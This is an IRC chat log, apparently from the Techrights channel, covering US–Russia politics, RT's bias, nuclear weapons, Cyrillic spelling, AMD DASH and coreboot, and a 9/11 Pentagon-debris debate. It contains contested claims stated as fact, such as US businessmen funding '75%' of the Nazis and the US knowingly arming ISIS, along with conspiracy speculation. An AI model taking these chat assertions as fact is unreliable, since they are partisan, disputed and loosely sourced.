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| schestowitz | msb_: not humour, just Russian taunting the US | Oct 04 03:45 |
| schestowitz | both are totalitarian oligarchies | Oct 04 03:45 |
| schestowitz | but the US has more overall wealth | Oct 04 03:45 |
| msb_ | The US has more weapons, and has murdered far more people in this century. | Oct 04 03:46 |
| schestowitz | I think that russia MIGHT still have more nukes | Oct 04 03:47 |
| schestowitz | but more outdated one | Oct 04 03:47 |
| schestowitz | and probably no H bombs, if any... | Oct 04 03:47 |
| schestowitz | *no>little | Oct 04 03:47 |
| schestowitz | their delivery systems are also likely inferior, as are the submarines and launching pads | Oct 04 03:48 |
| schestowitz | [08:46] <msb_> The US has more weapons, and has murdered far more people in this century. | Oct 04 03:48 |
| schestowitz | Russia murdered more if you extent that to century | Oct 04 03:48 |
| schestowitz | they killed perhaps 3 times as many as the US did | Oct 04 03:48 |
| schestowitz | internally and externally, e.g. Ukraine | Oct 04 03:48 |
| schestowitz | So the US is still miles better to live in than Russia | Oct 04 03:49 |
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| schestowitz | Kremlin media doesn't like to talk about Russia, except when it makes Putin look like a hero | Oct 04 03:49 |
| schestowitz | Using RT to learn about Russia and the US is like using Iranian/Syrian press to learn about Israel or vice versa | Oct 04 03:50 |
| schestowitz | You might be better off turning even to Chinese media, it's not as US-hostile | Oct 04 03:50 |
| msb_ | Are you taking into account all the people murdered by the WW2 Nazis, who were 75% financed by US businessmen. | Oct 04 03:50 |
| schestowitz | That's not the fault of the US (not any more than the British) | Oct 04 03:50 |
| schestowitz | Austria and Germany mostly | Oct 04 03:51 |
| schestowitz | maybe to some degree Italy and a Nazi-sympathising (to the anti-Semitic extent) France | Oct 04 03:51 |
| schestowitz | It's a stretch to blame Nazi death on the US | Oct 04 03:51 |
| msb_ | http://cosmicpenguin.com/#US_Nazis | Oct 04 03:52 |
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| schestowitz | Financial support | Oct 04 03:52 |
| schestowitz | Not just a US thing | Oct 04 03:52 |
| schestowitz | There are German 'expatriots' in other countries | Oct 04 03:52 |
| schestowitz | What about Argentina's stance in WW2? | Oct 04 03:52 |
| schestowitz | Or Japan's for that matter? | Oct 04 03:53 |
| schestowitz | Try painting Nazism as a US thing | Oct 04 03:53 |
| schestowitz | it's not | Oct 04 03:53 |
| msb_ | 75% came from US businessmen, in order to have Hitler destr0y socialism. | Oct 04 03:53 |
| schestowitz | There were some, among the US population, who not only sympathised with the Nazis party but also made material support | Oct 04 03:53 |
| schestowitz | Inc. Bush the grandpa | Oct 04 03:54 |
| schestowitz | So 75% of the Nazis "budget" was US? | Oct 04 03:54 |
| msb_ | And others. Read the linked articles. | Oct 04 03:54 |
| msb_ | yes | Oct 04 03:54 |
| schestowitz | And the tanks? | Oct 04 03:54 |
| schestowitz | And machine guns? | Oct 04 03:54 |
| schestowitz | No german labour? | Oct 04 03:54 |
| schestowitz | No German material/resources? | Oct 04 03:54 |
| msb_ | construction paid for with that money | Oct 04 03:54 |
| schestowitz | Did the US send planes to German? | Oct 04 03:54 |
| schestowitz | They don't need money to make weapons | Oct 04 03:55 |
| schestowitz | They have the material and the forced labour | Oct 04 03:55 |
| schestowitz | inc. in camps, in France, in fields | Oct 04 03:55 |
| schestowitz | They could just look all the resources in occupied territories | Oct 04 03:55 |
| schestowitz | The US did not CAUSE the nazi 'success' | Oct 04 03:55 |
| schestowitz | It may have /contributed/ to it | Oct 04 03:55 |
| schestowitz | But quit framing the US as the CAUSE of it | Oct 04 03:55 |
| schestowitz | Because it's just dumb | Oct 04 03:55 |
| msb_ | Read the references. | Oct 04 03:56 |
| schestowitz | And the US govt. just met some germany officials, didn't make them strong allies | Oct 04 03:56 |
| schestowitz | Not any more than the British did... | Oct 04 03:56 |
| msb_ | The US govt didn't do it. Private businessmen did. | Oct 04 03:57 |
| schestowitz | How many people in total? | Oct 04 03:57 |
| schestowitz | hundreds? Thousands? | Oct 04 03:57 |
| msb_ | Non in my memory. | Oct 04 03:57 |
| schestowitz | The US had over 100 million at the time, maybe even 200 | Oct 04 03:57 |
| msb_ | Read the references. | Oct 04 03:57 |
| schestowitz | I did ages ago | Oct 04 03:57 |
| schestowitz | it talks about super-wealthy citizens sending money to political 'causes' in Germany | Oct 04 03:57 |
| schestowitz | Many still do | Oct 04 03:58 |
| schestowitz | and not just in Germany | Oct 04 03:58 |
| schestowitz | If they do this in Iran, Syria etc. they might get arrested for "aiding/abetting terrorism" | Oct 04 03:58 |
| schestowitz | Still, such people would not make US complicit in ISIS | Oct 04 03:59 |
| schestowitz | Just as some French people who join ISIS doesn't make France as a whole liable for it | Oct 04 03:59 |
| msb_ | No, US is complicit in ISIS because it created Mujahideen to harass Russia. | Oct 04 04:00 |
| msb_ | Mujahideen became Al Qaeda, which became ISIS. | Oct 04 04:00 |
| schestowitz | You know I'm very critical of US/UK foreign policy, but if this channel is viewed as claiming the US was the supporter of Nazi Germany, then you just discredit the whole lot | Oct 04 04:00 |
| schestowitz | But US does not support ISIS | Oct 04 04:00 |
| schestowitz | It supported the Mujahideen | Oct 04 04:01 |
| msb_ | US has been sending thousands of armed jihadists into Syria for years, knowing that almost all defect to ISIS. | Oct 04 04:01 |
| schestowitz | And those whom it sent to Syria | Oct 04 04:01 |
| schestowitz | Some join Al-Nusra | Oct 04 04:01 |
| schestowitz | Or even ISIS, worse than AQ by some standards | Oct 04 04:01 |
| schestowitz | it doesn't mean this was all along the intention or that the end outcome is viewed as "desirable" | Oct 04 04:01 |
| schestowitz | Some Brits also supported Hitler well before the war | Oct 04 04:01 |
| schestowitz | Doesn't mean they support invasions of Czechoslovakia and Poland | Oct 04 04:02 |
| schestowitz | [09:01] <msb_> US has been sending thousands of armed jihadists into Syria for years, knowing that almost all defect to ISIS. | Oct 04 04:02 |
| schestowitz | No, they found that out around 2014 | Oct 04 04:02 |
| schestowitz | WSJ wrote about that too, so it's no secret | Oct 04 04:02 |
| schestowitz | and now they have a $500ml budget for this and they have trained no more than maybe 60 or 600 people last I read... | Oct 04 04:03 |
| schestowitz | Because they're super-picky | Oct 04 04:03 |
| schestowitz | Having done much harm already, not by intention | Oct 04 04:03 |
| schestowitz | They were desperate to remove Assad, and maybe later his allies in Iran | Oct 04 04:03 |
| msb_ | The US intention was to overthrow Assad. | Oct 04 04:03 |
| schestowitz | All the other Middle Eastern countries are already in Western pockets | Oct 04 04:03 |
| schestowitz | Even Yemen, until recently when they lost control | Oct 04 04:04 |
| schestowitz | Lebanon is OK with the US, and it's partly xian too | Oct 04 04:04 |
| schestowitz | Except the political factions of Hezbollah | Oct 04 04:04 |
| schestowitz | who too are said to be aligned with Iran/Syria | Oct 04 04:04 |
| schestowitz | So the US wants to eliminate this element | Oct 04 04:04 |
| schestowitz | Other countries that don't bend over for Uncle Sam are N Korea and Russia | Oct 04 04:05 |
| schestowitz | Maybe venezuela and ecador, where it's "complicated".... | Oct 04 04:05 |
| msb_ | But you tried to vague away the discussion about US and Hitler, by making irrelevant statements. US businessmen gave Hitler 75% of the financing for his military buildup, and the purpose was to have him destr0y socialism in Russia and Europe. | Oct 04 04:05 |
| schestowitz | world domination is the goal | Oct 04 04:05 |
| schestowitz | and Syria's government is more aligned with Russian interests, as did Ukraine until the EU expanded like an expire to the East | Oct 04 04:06 |
| schestowitz | [09:05] <msb_> But you tried to vague away the discussion about US and Hitler, by making irrelevant statements. US businessmen gave Hitler 75% of the financing for his military buildup, and the purpose was to have him destr0y socialism in Russia and Europe. | Oct 04 04:06 |
| schestowitz | Bollox | Oct 04 04:06 |
| schestowitz | 75% of Nazis budget is from the US? | Oct 04 04:06 |
| schestowitz | You must be dreaming | Oct 04 04:07 |
| msb_ | The goal is also to eliminate socialism, so the ultra-rich can keep their 99% profits. | Oct 04 04:07 |
| msb_ | It's in the references I link to. | Oct 04 04:07 |
| schestowitz | The overall assets/wealth of ther German country was more than what all these US funders had combined in their bank, by orders of magnitude | Oct 04 04:07 |
| schestowitz | GDP of germany back then was still high, hyperinflation is overinflated, as if inflation, as some economists will say | Oct 04 04:08 |
| schestowitz | as long as locals are able to work and produce, they'll live | Oct 04 04:08 |
| schestowitz | irrespective of currencies | Oct 04 04:08 |
| schestowitz | germany didn't depend much on global trade for food | Oct 04 04:08 |
| schestowitz | unlike the UK perhaps | Oct 04 04:08 |
| schestowitz | it almost ran low on food towards the end of the war because u-boats sank supplies | Oct 04 04:08 |
| schestowitz | [09:07] <msb_> The goal is also to eliminate socialism, so the ultra-rich can keep their 99% profits. | Oct 04 04:09 |
| schestowitz | Not the goal is at question | Oct 04 04:09 |
| schestowitz | the proportion of funding | Oct 04 04:09 |
| schestowitz | you said US provided 75% of Nazi funds | Oct 04 04:09 |
| schestowitz | which is patently BS | Oct 04 04:09 |
| msb_ | Regarding RT, it presents accurate information. | Oct 04 04:09 |
| schestowitz | right next to "Hitler is an alien" or Russia's Stalin is a US agent | Oct 04 04:10 |
| schestowitz | you're dodging the topic now | Oct 04 04:10 |
| msb_ | Straw-man | Oct 04 04:10 |
| schestowitz | RT is not accurate information | Oct 04 04:10 |
| schestowitz | It's nationalist propaganda | Oct 04 04:10 |
| schestowitz | it's good for covering some US blunders at times | Oct 04 04:10 |
| schestowitz | esp. when no other site which is decent does so | Oct 04 04:10 |
| schestowitz | RT also invites US dissidents | Oct 04 04:10 |
| msb_ | Give examples of falsehoods. | Oct 04 04:10 |
| schestowitz | so this is where they get a large TV audience to express their views | Oct 04 04:11 |
| schestowitz | Tell me when RT does an interview with Russian dissidents | Oct 04 04:11 |
| schestowitz | Show me now... | Oct 04 04:11 |
| schestowitz | Did they ever even interview the fames Pussy Riot? | Oct 04 04:11 |
| schestowitz | *famed | Oct 04 04:11 |
| schestowitz | bias by omission in RT | Oct 04 04:11 |
| msb_ | I wasn't watching it then. | Oct 04 04:12 |
| schestowitz | gotta go now.. | Oct 04 04:12 |
| schestowitz | https://twitter.com/Zeipt/status/650592990508003328 | Oct 04 04:51 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz take a look to rbc.ru (russian only, but unfortunately more objective than any others there) | Oct 04 04:51 | |
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| schestowitz | I have just taken a look at rbc.ru - is it a large mainstream/mass media network or just a marginalised independent site with budget? | Oct 04 04:52 |
| schestowitz | https://twitter.com/schestowitz/status/650590217221591040 | Oct 04 04:52 |
| -TechrightsBot-tr/#techrights-@schestowitz: Is there any >large< news network in #russia that actually dares to criticise the (Russian) Establishment much? Any in English language? | Oct 04 04:52 | |
| schestowitz | https://twitter.com/Zeipt/status/650593758967406592 | Oct 04 04:53 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz also there is https://t.co/BXOkYRgxk3 | Oct 04 04:53 | |
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| schestowitz | I know of that one, but still, not maintream | Oct 04 04:53 |
| schestowitz | I know of that one, but still, not mainstream | Oct 04 04:53 |
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| schestowitz | https://twitter.com/Zeipt/status/650595715568246784 | Oct 04 04:58 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz "we have to public all the things, and if government begin turture us, we can step back, but we have to public all the things") | Oct 04 04:58 | |
| schestowitz | https://twitter.com/Zeipt/status/650595204131479552 | Oct 04 05:05 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz it is largest financial/buisness/analytic network. I dont know much abt their budget. But I know their editor's princip | Oct 04 05:05 | |
| schestowitz | https://twitter.com/Zeipt/status/650596619319164929 | Oct 04 05:07 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz there no large/mainstream one. All are under control of @roskomnadzor_rf, ФСБ, and under full censorship. | Oct 04 05:07 | |
| schestowitz | https://twitter.com/Zeipt/status/650597401649115136 | Oct 04 05:07 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz russians cant even access the mobile and wifi internet without identification... | Oct 04 05:07 | |
| MinceR | 094735 < schestowitz> and probably no H bombs, if any... | Oct 04 05:23 |
| MinceR | they do have those | Oct 04 05:23 |
| MinceR | https://en.wikipedia.org/wiki/Tsar_bomba | Oct 04 05:23 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Tsar Bomba - Wikipedia, the free encyclopedia | Oct 04 05:23 | |
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| schestowitz | hydrogen? Let's see... | Oct 04 05:45 |
| schestowitz | ah yes, "AN602 hydrogen bomb" | Oct 04 05:46 |
| schestowitz | they now get 50mt TNT yield in much smaller sizes | Oct 04 05:48 |
| schestowitz | didn't know tsar bomba was 27 tons, 2 meter wide, 8 meter long | Oct 04 05:48 |
| schestowitz | that's like dumping a semi-trailer | Oct 04 05:48 |
| schestowitz | clumsy and heavy | Oct 04 05:48 |
| MinceR | :) | Oct 04 05:49 |
| schestowitz | https://twitter.com/Metztli_IT/status/650609087831343105 | Oct 04 05:53 |
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| msb_ | RT is now showing a very detailed documentary on the 2010 Deepwater Horizon oilwell blowout that resulted in the worst environmental disaster in history. | Oct 04 07:50 |
| msb_ | wiki: "Britain, China, France, Russia and the United States are known to possess MIRV missiles." IIRC, each independent H-bomb is in the range of 100-600KT. | Oct 04 07:58 |
| msb_ | "<schestowitz> bias by omission in RT" Sure. All sources omit things. But neither schestowitz nor MinceR has been able to cite any information that RT has broadcast that is false. Whereas US corporate media actually _lie_ about important matters constantly. | Oct 04 08:03 |
| msb_ | About two weeks ago, one of the regular programs on RT had a journalist who blamed Putin for the deaths of 8,000 people in one of Ukraine's Eastern regions, because he had said he would protect them, and when they stood up and said they wanted a degree of autonomy, and the Nazi Ukraine govt began shelling them, Putin did nothing. | Oct 04 08:06 |
| msb_ | I think the same show yesterday had three journalists talking about Assad. One was an a-hole from the US rightwing Heritage Foundation who said that Assad was a "genocidal monster" who dropped "barrel bombs". Wiki says the US dropped barrel bombs on the Vietnamese, and Israel dropped them on the Palestinians. | Oct 04 08:17 |
| msb_ | They're just a cheap kind of bomb in which the filling can be chosen arbitrarily. | Oct 04 08:19 |
| msb_ | But even the a-hole said that Assad (who was re-elected in 2014) was necessary rid Syria of ISIL and Al Qaeda. | Oct 04 08:22 |
| msb_ | At MinceR's suggestion I asked a Russian guy if he felt like he is living in a dictatorship. He said that Russian laws on speech are overly restrictive, but are enforced only infrequently. | Oct 04 08:25 |
| msb_ | Oil spill docu: horrible pictures of shrimps with tumors growing out of them, due to the "Corexit" dispersant sprayed to hide the oil. US govt official filmed saying that there was no oil on the sea floor. Movies shot out of a mini-sub showed the sea floor totally covered with oil. This from a US TV station. | Oct 04 08:53 |
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| XRevan86 | Ксения == Ksenia | Oct 04 09:02 |
| XRevan86 | not Zenia | Oct 04 09:02 |
| msb_ | XRevan86: This is all the fault of the Evil Empire (Russia) for having two or three different ways to spell the same word, and for re-using the Roman/English alphabet with some of the letters turned backwards and pronounced differently. That's just plain wrong! | Oct 04 09:06 |
| XRevan86 | msb_: Russian mostly has only one way of spelling %) | Oct 04 09:07 |
| XRevan86 | in cyrillic | Oct 04 09:07 |
| XRevan86 | problem is that in English "X" in the beginning of the word can mean "Z" | Oct 04 09:08 |
| XRevan86 | and mostly does | Oct 04 09:08 |
| XRevan86 | with few exceptions | Oct 04 09:08 |
| msb_ | Xenophobes are afraid of Xerox machines! | Oct 04 09:09 |
| XRevan86 | Fun fact: photocopies in Russian are called kserocopies | Oct 04 09:10 |
| msb_ | LOL! | Oct 04 09:10 |
| XRevan86 | and device itself: kserox :) | Oct 04 09:12 |
| msb_ | When I hear a German guy talk, I (knowing nothing of German), think it sounds like he's saying he's gonna kill me. | Oct 04 09:12 |
| msb_ | But Russians, I don't know what to make of them. | Oct 04 09:13 |
| msb_ | XBox is evil! | Oct 04 09:13 |
| msb_ | French or Spanish, we can understand every second to fourth word. | Oct 04 09:14 |
| msb_ | But one Russian phrase is very clear: Tsar Bomba | Oct 04 09:14 |
| msb_ | I'll bet that filled the shorts of some US military guys when they found out about it! | Oct 04 09:16 |
| XRevan86 | msb_: %) | Oct 04 09:19 |
| XRevan86 | msb_: Russian is not a Roman language so no wonder. | Oct 04 09:19 |
| msb_ | That's exactly it. If old Cyril had known and liked French or Latin, he would have made it much easier. | Oct 04 09:21 |
| XRevan86 | msb_: I'm not talking about alphabet :) | Oct 04 09:24 |
| XRevan86 | msb_: and old Cyrill is older than France %) | Oct 04 09:25 |
| XRevan86 | but younger than Rome Empire | Oct 04 09:27 |
| schestowitz | https://twitter.com/schestowitz/status/650590217221591040 | Oct 04 09:29 |
| -TechrightsBot-tr/#techrights-@schestowitz: Is there any >large< news network in #russia that actually dares to criticise the (Russian) Establishment much? Any in English language? | Oct 04 09:29 | |
| msb_ | So Cyrill used the Roman alphabet, but he didn't know how to pronounce the letters. | Oct 04 09:30 |
| XRevan86 | msb_: They probably had no idea Latin alphabet existed. | Oct 04 09:30 |
| XRevan86 | msb_: Cyrillic is based on Greek alphabet. | Oct 04 09:31 |
| msb_ | schestowitz: Russia doesn't need those, the US has plenty. MinceR is fond of directing us to articles in Radio Free Europe! But every other corporate US network reports on and smears Russia, according to the US govt line. | Oct 04 09:34 |
| msb_ | schestowitz: And as I said, I saw an RT program in which Putin was criticized. | Oct 04 09:35 |
| schestowitz | https://twitter.com/AJimenez1988/status/650665843441934337 | Oct 04 09:39 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz I find outright banning more honest than flaying someone alive with copyright lawsuits. | Oct 04 09:39 | |
| schestowitz | how so? | Oct 04 09:55 |
| schestowitz | https://joindiaspora.com/p/6663989 | Oct 04 09:55 |
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| schestowitz | > Dear Roy, | Oct 04 12:00 |
| schestowitz | > | Oct 04 12:00 |
| schestowitz | > | Oct 04 12:00 |
| schestowitz | > | Oct 04 12:00 |
| schestowitz | > I just read your above-mentioned blog post. Specifically with regard to transparency and democracy in the UPC context, do you know my papers “Law-making in camera” (accessible here) and “The sub-sub-suboptimal compromise of the EU Parliament” (accessible here) from 2013? Having a look might be worthwhile. | Oct 04 12:00 |
| schestowitz | Thanks, I shall have a look in the coming back as I've just returned home after 2 weeks. | Oct 04 12:01 |
| cubexyz | people are rightly suspicious of Vpro but AMD has DASH which is similar: | Oct 04 12:06 |
| cubexyz | http://www.maxhost.org/other/amd-dash.jpg | Oct 04 12:07 |
| cubexyz | you can easily get an AMD motherboard without DASH, it's just one more thing to watch out for | Oct 04 12:08 |
| cubexyz | understanding the PC has got a lot harder | Oct 04 12:13 |
| cubexyz | there's a bit of a bias with coreboot developers | Oct 04 12:18 |
| cubexyz | basically server motherboards are getting much more attention | Oct 04 12:18 |
| cubexyz | data centres and server farms get higher priority thus server motherboards get more attention | Oct 04 12:19 |
| cubexyz | coreboot has spawned distributions | Oct 04 12:21 |
| cubexyz | SageBIOS for one | Oct 04 12:22 |
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| TweetTuxMachines | @tuxmachines Data indicates that Android picked up global | Oct 04 13:32 |
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| TweetTuxMachines | @tuxmachines Nvidia Shield Android TV review | Oct 04 13:41 |
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| TweetTuxMachines | @tuxmachines There's A Lot Of Exciting AMDGPU DRM Code | Oct 04 13:41 |
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| TweetTuxMachines | @tuxmachines Microsoft Continues to Extort Linux and Android | Oct 04 13:46 |
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| TweetTuxMachines | @tuxmachines A Linux World: After Billions of Dollars in | Oct 04 13:49 |
| TweetTuxMachines | Losses Microsoft Changes How It Reports | Oct 04 13:49 |
| TweetTuxMachines | Financial Results | Oct 04 13:49 |
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| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'A Linux World: After Billions of Dollars in...' | Oct 04 14:13 | |
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| cubexyz | from an actual Microsoft forum: | Oct 04 14:43 |
| schestowitz | ... | Oct 04 14:43 |
| cubexyz | "This new, 'great' operating system has ruined my computer. After a short period of time, my computer stops working. Nothing. Not a thing works. I am forced to do hard restarts several times a day. This is terrible. Windows 10 has ruined my computer. I am devastated." | Oct 04 14:44 |
| schestowitz | link? | Oct 04 14:44 |
| schestowitz | I want to link to that | Oct 04 14:44 |
| cubexyz | http://answers.microsoft.com/en-us/windows/forum/windows_10-hardware/windows-10-has-ruined-my-computer/a91c8b28-cc3c-4919-b772-970c1ffb9a9a?auth=1 | Oct 04 14:44 |
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| TweetTuxMachines | @tuxmachines IRC Proceedings: September 13th, 2015 – October | Oct 04 14:46 |
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| -TechrightsBot-tr/#techrights-techrights.org | IRC Proceedings: September 13th, 2015 – October 3rd, 2015 | Techrights | Oct 04 14:46 | |
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| cubexyz | schestowitz, keep reading the comments below that one | Oct 04 14:48 |
| cubexyz | it gets even more desperate | Oct 04 14:49 |
| cubexyz | "trying to do a recovery now for 3 hours" | Oct 04 14:50 |
| cubexyz | at least one can walk into most retail computer shops can get a chromebook | Oct 04 14:54 |
| cubexyz | a fully working computer with coreboot | Oct 04 14:54 |
| cubexyz | the fact of the matter is I can't do that with a desktop locally | Oct 04 14:55 |
| cubexyz | there was one shop that preloaded BSD, but he closed shop | Oct 04 14:55 |
| schestowitz | cheers, cubexyz | Oct 04 14:55 |
| *TweetTuxMachines @newlinuxuser favourited 'Curious about Linux? Try Linux Desktop on the...' | Oct 04 14:56 | |
| cubexyz | just learned about free geek: | Oct 04 14:59 |
| cubexyz | http://freegeektoronto.org/ | Oct 04 15:00 |
| -TechrightsBot-tr/#techrights-freegeektoronto.org | Free Geek Toronto | Oct 04 15:00 | |
| cubexyz | used computers preloaded with Linux Mint | Oct 04 15:01 |
| cubexyz | there's definitely a trend here | Oct 04 15:01 |
| cubexyz | the local bestbuy was an utter disappointment | Oct 04 15:10 |
| cubexyz | nothing but windows 10 laptops | Oct 04 15:10 |
| schestowitz | cubexyzwhat is the significance of that? | Oct 04 15:19 |
| schestowitz | Just caught up with it... | Oct 04 15:20 |
| schestowitz | Whilst away | Oct 04 15:20 |
| schestowitz | cubexyzdoes this look like a plane hit the pentagon:Sep 14 10:18 | Oct 04 15:20 |
| schestowitz | cubexyzhttp://www.maxhost.org/other/pentagon-9-11.jpgSep 14 10:19 | Oct 04 15:20 |
| schestowitz | cubexyzshouldn't there be more debris? | Oct 04 15:20 |
| schestowitz | Try another angle | Oct 04 15:20 |
| schestowitz | https://ixquick-proxy.com/do/show_picture.pl?l=english&cat=pics&c=pf&q=picture+of+pentagon+after+hit&h=1500&w=2813&th=84&tw=160&fn=Firefighters_struggle_to_contain_the_fire%252C_after_the_September_11%252C_2001%252C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg&fs=994.1%20k&el=boss_pics_2,boss_pics_1&tu=https:%2F%2Fs3-eu5.ixquick.com%2Fcgi-bin%2Fserveimage%3Furl%3Dhttp%253A%252F%252Ftse2.mm.bing.net%252Fth%253Fid%253DOIP. | Oct 04 15:20 |
| schestowitz | M5649a5df5023efbef3cf221fa81f396aH0%2526pid%253D15.1%2526H%253D84%2526W%253D160%26sp%3Dac6bf89334669210bc5c941f059b78bd&rl=NONE&u=https:%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile:Firefighters_struggle_to_contain_the_fire,_after_the_September_11,_2001,_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg&udata=35c318f309186cb5d15ac2dc1521c447&rid=LJLOONTSQMQP598OQTKUE&oiu=https:%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2F0%2F0d% | Oct 04 15:20 |
| schestowitz | 2FFirefighters_struggle_to_contain_the_fire%252C_after_the_September_11%252C_2001%252C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg | Oct 04 15:20 |
| cubexyz | holy, is that one URL? | Oct 04 15:20 |
| schestowitz | sorry https://upload.wikimedia.org/wikipedia/commons/thumb/0/0d/Firefighters_struggle_to_contain_the_fire%2C_after_the_September_11%2C_2001%2C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg/800px-Firefighters_struggle_to_contain_the_fire%2C_after_the_September_11%2C_2001%2C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg | Oct 04 15:20 |
| -TechrightsBot-tr/#techrights-ixquick-proxy.com | NO TITLE [ http://ur1.ca/nwxn4 ] | Oct 04 15:20 | |
| schestowitz | cubexyz: yes, anonymised in a way | Oct 04 15:21 |
| schestowitz | izquick | Oct 04 15:21 |
| schestowitz | always ask what one shows you | Oct 04 15:21 |
| schestowitz | sometimes people show photos from syria regarding gaza | Oct 04 15:21 |
| schestowitz | or something which does not represent the caption | Oct 04 15:21 |
| schestowitz | esp. in the "turther" debates | Oct 04 15:21 |
| schestowitz | or accelerated videos | Oct 04 15:21 |
| schestowitz | to support the "freefall speed" theory | Oct 04 15:21 |
| cubexyz | schestowitz, I'm not doubting something hit the Pentagon but there's no pics of debris of airplane seats, wings, etc | Oct 04 15:22 |
| cubexyz | I just thought it was very odd | Oct 04 15:22 |
| cubexyz | unless all the debris ended up inside the building | Oct 04 15:22 |
| schestowitz | original source was http://www.defenseimagery.mil/imagery.html?&guid=73e7382459a00b2d05e58951e458289661880405 | Oct 04 15:22 |
| -TechrightsBot-tr/#techrights-Failure when receiving data from the peer ( status 0 @ http://www.defenseimagery.mil/imagery.html?&guid=73e7382459a00b2d05e58951e458289661880405 ) | Oct 04 15:22 | |
| schestowitz | http://i.usatoday.net/news/_photos/2011/09/08/Editorial-Success-and-excess-since-911-ALC4BLE-x.jpg | Oct 04 15:23 |
| schestowitz | cubexyz: maybe the wings got slipped from the pressure and later picked up | Oct 04 15:23 |
| schestowitz | although they're strongly connected to the torso of the plane | Oct 04 15:23 |
| schestowitz | the wings are the hardest and most crucial part | Oct 04 15:24 |
| cubexyz | schestowitz, there was a news report about it too... the reporter talks about the lack of debris | Oct 04 15:24 |
| schestowitz | but maybe the pentagon is made of strong material with extra metal | Oct 04 15:24 |
| schestowitz | let me check | Oct 04 15:24 |
| schestowitz | if the wing get clipped they can carry on with the plane into the path made inside the building | Oct 04 15:24 |
| schestowitz | which is quite tall, more than the plane | Oct 04 15:24 |
| schestowitz | i once saw the pentagon for real, when I visited washington | Oct 04 15:25 |
| schestowitz | try to envision what would happen to a light plane when entering an armoured building | Oct 04 15:25 |
| schestowitz | and where it would end up | Oct 04 15:25 |
| cubexyz | ah, found it: | Oct 04 15:25 |
| schestowitz | the width of the plane is maybe 5 meters | Oct 04 15:26 |
| cubexyz | http://www.maxhost.org/other/9-11-cnn.mkv | Oct 04 15:26 |
| cubexyz | snopes talks about it as well | Oct 04 15:29 |
| cubexyz | just a Boeing 757 crashing into a building would leave a lot of airplane debris all over the place | Oct 04 15:29 |
| schestowitz | A missile would not have had such an effect, I don't think | Oct 04 15:29 |
| schestowitz | it wouldn't have the power and velocity to slice part the building | Oct 04 15:30 |
| schestowitz | and if it's extremely powerful, it would damage the entire pentagon | Oct 04 15:30 |
| schestowitz | so it look like heavyweight impact to me | Oct 04 15:30 |
| schestowitz | I'd expect the body of the plane to be caught inside the building | Oct 04 15:31 |
| cubexyz | http://www.snopes.com/rumors/pentagon.asp | Oct 04 15:31 |
| -TechrightsBot-tr/#techrights-www.snopes.com | snopes.com: Pentagon Attack Faked Rumor [ http://ur1.ca/nwxow ] | Oct 04 15:31 | |
| schestowitz | not scattered because it has momentum going forward | Oct 04 15:31 |
| cubexyz | yes, that must be it | Oct 04 15:31 |
| schestowitz | like a long metal pipe | Oct 04 15:31 |
| schestowitz | just simulate also the impacy of planes in WTC | Oct 04 15:31 |
| schestowitz | occam's razer | Oct 04 15:32 |
| schestowitz | impact, hole, going all in, melting gear inside, causing chain effer until the girders can't take it anymore | Oct 04 15:32 |
| schestowitz | reproducible, twice, with two planes, same structure | Oct 04 15:32 |
| schestowitz | same planes AFAIK | Oct 04 15:32 |
| schestowitz | In pentagon, no plane part can be left _behind_ | Oct 04 15:33 |
| schestowitz | because of the momentum | Oct 04 15:33 |
| schestowitz | unless the building ctapults something back | Oct 04 15:33 |
| schestowitz | and motion sideways after the body of the plane already broke a hole through the building is not like | Oct 04 15:34 |
| schestowitz | unless only one side of the plane's cockpit hits some super strong metal | Oct 04 15:34 |
| schestowitz | which bounces is sideways, a little... | Oct 04 15:34 |
| schestowitz | missiles explode on impact | Oct 04 15:35 |
| schestowitz | bombs like the 500kg ones that F* planes drop make a hold through the building | Oct 04 15:35 |
| schestowitz | go to the bottom and the centre (core), then explode | Oct 04 15:35 |
| schestowitz | but it wouldn't work sideways | Oct 04 15:35 |
| cubexyz | the four planes were: 767-200ER, another 767-200ER, 757-200 (pentagon), and the 4th one was also a 757-200 | Oct 04 15:35 |
| schestowitz | the idea is to devastate the entire building | Oct 04 15:35 |
| schestowitz | usually leaving a massive deep hole where the building used to stand | Oct 04 15:36 |
| schestowitz | look up some photos | Oct 04 15:36 |
| schestowitz | so the missile theory wouldn't be consistent with a deep path ripping the building into two | Oct 04 15:36 |
| schestowitz | the 757 isn't as big | Oct 04 15:37 |
| schestowitz | it's big, but not very wiide | Oct 04 15:37 |
| schestowitz | I think 6 seater per roq | Oct 04 15:37 |
| schestowitz | *row | Oct 04 15:37 |
| schestowitz | so around 5 meter wide in total | Oct 04 15:37 |
| schestowitz | a strong building would smash the wings | Oct 04 15:37 |
| schestowitz | it's made of light but strong material | Oct 04 15:38 |
| schestowitz | you wouldn't expect it to drag through 50 meters of brick and metal | Oct 04 15:38 |
| schestowitz | not without breaking, maybe folding backgrounds | Oct 04 15:38 |
| schestowitz | so then you'd expect fire at the side of the hole, where the engines used to be | Oct 04 15:38 |
| schestowitz | http://www.maxhost.org/other/pentagon-9-11.jpg | Oct 04 15:39 |
| schestowitz | Looking from this angle it seems possible that the third row of offices/pillars may be been impacted | Oct 04 15:39 |
| schestowitz | but it's too tall to be able to see the plane | Oct 04 15:39 |
| schestowitz | Look at http://i.usatoday.net/news/_photos/2011/09/08/Editorial-Success-and-excess-since-911-ALC4BLE-x.jpg | Oct 04 15:40 |
| schestowitz | compare the height of vehicles to the building | Oct 04 15:40 |
| schestowitz | it's a tall building | Oct 04 15:40 |
| schestowitz | so a look from above can be misleading, use trucks to understand the scale of the plane and where it can fit | Oct 04 15:40 |
| schestowitz | anyway, enough of that... I just saw msb_ pushing this old discussion again in the logs | Oct 04 15:41 |
